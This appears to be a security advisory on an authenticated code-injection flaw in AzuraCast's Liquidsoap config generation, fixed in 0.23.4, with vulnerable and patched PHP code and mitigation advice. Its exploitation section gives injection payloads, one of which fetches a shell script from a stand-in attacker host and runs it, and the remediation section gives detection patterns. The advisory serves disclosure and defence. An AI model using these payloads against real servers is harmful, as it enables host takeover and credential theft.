Mar 9, 2026·6 min read·0 visits
Authenticated Remote Code Execution in AzuraCast via improper sanitization of Liquidsoap configuration files, fixed in version 0.23.4.
AzuraCast versions prior to 0.23.4 contain a Remote Code Execution (RCE) vulnerability. The flaw exists in the ConfigWriter class, which fails to properly sanitize user-supplied metadata before writing it to Liquidsoap configuration files. This allows authenticated users to inject arbitrary commands via Liquidsoap's string interpolation functionality.
AzuraCast is a self-hosted web radio management suite that utilizes Liquidsoap as its core audio processing engine. The vulnerability, tracked as GHSA-93FX-5QGC-WR38, involves a code injection flaw within the configuration generation process. The system allows authenticated users to input metadata, such as station names and playlist URLs, which are subsequently written to Liquidsoap configuration files.
The flaw is classified under CWE-94 (Improper Control of Generation of Code). The application fails to neutralize specific special characters required for Liquidsoap's string interpolation mechanisms. When generating the .liq files, the backend PHP application places user-controlled input directly into double-quoted strings without adequate sanitization.
This oversight permits an attacker to embed Liquidsoap commands within the metadata. When the Liquidsoap service parses the resulting configuration file, it evaluates the injected interpolation expressions. The execution results in arbitrary commands running on the host system with the privileges of the Liquidsoap user.
The root cause of this vulnerability lies in the mechanism AzuraCast uses to construct the liquidsoap.liq configuration files. Liquidsoap, heavily inspired by languages like Ruby, supports string interpolation within double-quoted strings. If a string contains the syntax #{expression}, Liquidsoap evaluates the enclosed expression during the parsing phase.
AzuraCast's ConfigWriter class is responsible for taking configuration data from the database and formatting it for the Liquidsoap engine. The cleanUpString() method in backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php was intended to sanitize user input to prevent configuration file breakouts. However, the sanitization logic was highly restrictive and incomplete.
The original implementation only neutralized double quotes and newline characters. By replacing double quotes with single quotes, the developers prevented an attacker from breaking out of the string literal entirely. This approach failed to account for Liquidsoap's internal string processing, which actively evaluates the #{} syntax regardless of whether the string boundaries are preserved.
Consequently, an attacker could supply a payload such as #{process.run('id')}. The application would write this string verbatim into a double-quoted context in the configuration file, such as description = "#{process.run('id')}". The Liquidsoap parser then encounters the interpolation trigger, executes the system command via process.run, and substitutes the output back into the string.
The vulnerability stems from the ConfigWriter::cleanUpString() method within backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php. The pre-patch implementation incorrectly assumed that preventing string termination was sufficient for sanitization.
public static function cleanUpString(?string $string): string
{
// Only replaces double quotes with single quotes and removes newlines
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}The initial remediation attempt in commit d04b5c5 introduced regular expressions to strip interpolation delimiters. This approach was fundamentally flawed because the preg_replace function was not applied recursively, allowing nested payloads to bypass the filter.
// Incomplete fix in commit d04b5c5
$string = preg_replace('/#{(.*)}/U', '$1', $string);
$string = preg_replace('/\$\((.*)\)/U', '$1', $string ?? '');The final, robust fix in commit ff49ef4 correctly leverages Liquidsoap's literal string syntax. The toRawString() method dynamically generates a random five-character tag for each string block. This ensures that the Liquidsoap parser processes the input strictly as literal text.
public static function toRawString(?string $value): string
{
// Generate a random 5-character alphabetic tag
$delimiter = 'str_' . Strings::generatePassword(5, 'abcdefghijklmnopqrstuvwxyz');
$startString = '{' . $delimiter . '|';
$endString = '|' . $delimiter . '}';
// Explicitly remove any occurrences of the end-tag from user input
return $startString . str_replace($endString, '', $value ?? '') . $endString;
}By randomly generating the boundary tags and explicitly stripping the corresponding end-tag from the user input, the patch structurally prevents any breakout attempts. This eliminates the dependency on fragile regular expressions and addresses the root cause of the string interpolation injection.
Exploitation of this vulnerability requires an attacker to possess authenticated access to the AzuraCast platform. The account must have permissions associated with station management, specifically StationPermissions::Media or StationPermissions::Stations. These roles allow the modification of station metadata, playlist URLs, or other configuration fields that feed into the Liquidsoap backend.
An attacker constructs a malicious payload utilizing Liquidsoap's process execution functions. A standard payload follows the #{process.run('command')} syntax. For example, an attacker can input #{process.run('curl http://attacker.com/shell.sh | bash')} into a vulnerable metadata field.
When the input is saved, the ConfigWriter class writes the unsanitized string directly into the station's liquidsoap.liq configuration file. The payload remains dormant until the Liquidsoap service is restarted or reloads its configuration.
AzuraCast frequently restarts the Liquidsoap process as a normal part of configuration changes or station updates. Once the process restarts, the Liquidsoap engine evaluates the .liq file, interpolates the string, and executes the injected command. The command executes under the context of the user running the Liquidsoap process, typically a dedicated system account.
This execution chain demonstrates a classic stored code injection vector. The separation between payload injection and execution requires the attacker to either wait for a service restart or manually trigger one through the AzuraCast management interface.
Successful exploitation of this vulnerability yields Remote Code Execution (RCE) on the server hosting the AzuraCast instance. The injected commands execute within the context of the Liquidsoap service user. Depending on the deployment environment, this user often has read and write access to application configuration files, media storage, and internal network interfaces.
The vulnerability is highly consequential in multi-tenant or reseller environments. In these configurations, multiple independent administrators manage disparate radio stations on a single shared server. The RCE allows an attacker with permissions limited to a single station to escape their tenant boundary and compromise the underlying host system.
Once code execution is achieved, an attacker can pivot to the underlying database, exfiltrate sensitive credentials, alter media files across all stations, or install persistent backdoors. The ability to read the main AzuraCast configuration file typically grants access to database passwords, allowing the attacker to escalate privileges within the application itself.
The required user interaction is minimal once the payload is stored, as normal administrative operations by other users or scheduled system tasks frequently trigger the required Liquidsoap restart.
The primary remediation for this vulnerability is to upgrade AzuraCast to version 0.23.4 or later. This release incorporates the final patch that safely processes user input using Liquidsoap's literal string syntax ({tag| ... |tag}). Upgrading completely mitigates the interpolation injection vector by structurally separating code from data.
For environments where immediate patching is not feasible, administrators should review the permission models applied to untrusted users. In multi-tenant systems, administrators should strictly limit access to the StationPermissions::Media and StationPermissions::Stations roles. Additionally, restricting access to the 'Custom Liquidsoap Configuration' feature helps reduce the available attack surface.
Security teams should monitor the generated .liq files located in /var/azuracast/stations/[station_name]/config/ for unexpected interpolation sequences like #{process.run or $(process.run. Employing the principle of least privilege for the Liquidsoap process minimizes the impact of a successful exploit by restricting filesystem access and network egress capabilities.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
AzuraCast AzuraCast | < 0.23.4 | 0.23.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Improper Control of Generation of Code) |
| Attack Vector | Network |
| Privileges Required | Low (Authenticated) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept Available |
| KEV Status | Not Listed |
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.